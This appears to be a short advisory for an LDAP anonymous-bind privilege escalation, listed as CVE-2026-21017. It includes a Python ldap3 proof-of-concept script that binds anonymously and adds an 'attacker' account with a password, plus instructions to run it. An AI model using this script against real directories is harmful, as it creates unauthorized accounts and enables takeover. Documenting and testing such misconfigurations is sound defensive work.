CVE-2026-21017 – LDAP Anonymous Bind Privilege Escalation

Program Code (Python ldap3 sim)

# ldap_anon_sim.py - LDAP server allowing anonymous bind with write access
from ldap3 import Server, Connection, ALL

# Simulated: real server would be misconfigured
server = Server('ldap://localhost:389', get_info=ALL)
conn = Connection(server, authentication='ANONYMOUS')
conn.bind()
# If anonymous has write permission to userPassword, can add self as admin
conn.add('uid=attacker,ou=people,dc=example,dc=com', ['inetOrgPerson'], {'uid': 'attacker', 'userPassword': 'password'})
print("User created anonymously!")

CVE-2026-21017 – LDAP Anonymous Bind Privilege Escalation

Overview

An LDAP directory is misconfigured to allow anonymous binds and also grants write access to sensitive attributes (like userPassword). An attacker can bind anonymously and create a new admin user, escalating privileges.

Vulnerability Details

• Type: Insufficient Access Control
• Impact: Full directory compromise.
• Root Cause: The access control list (ACL) does not restrict writes to authenticated users.

Exploit Demonstration

Run the simulation (requires an actual LDAP server for real test, but we show concept):

python ldap_anon_sim.py

The script attempts to add a user anonymously.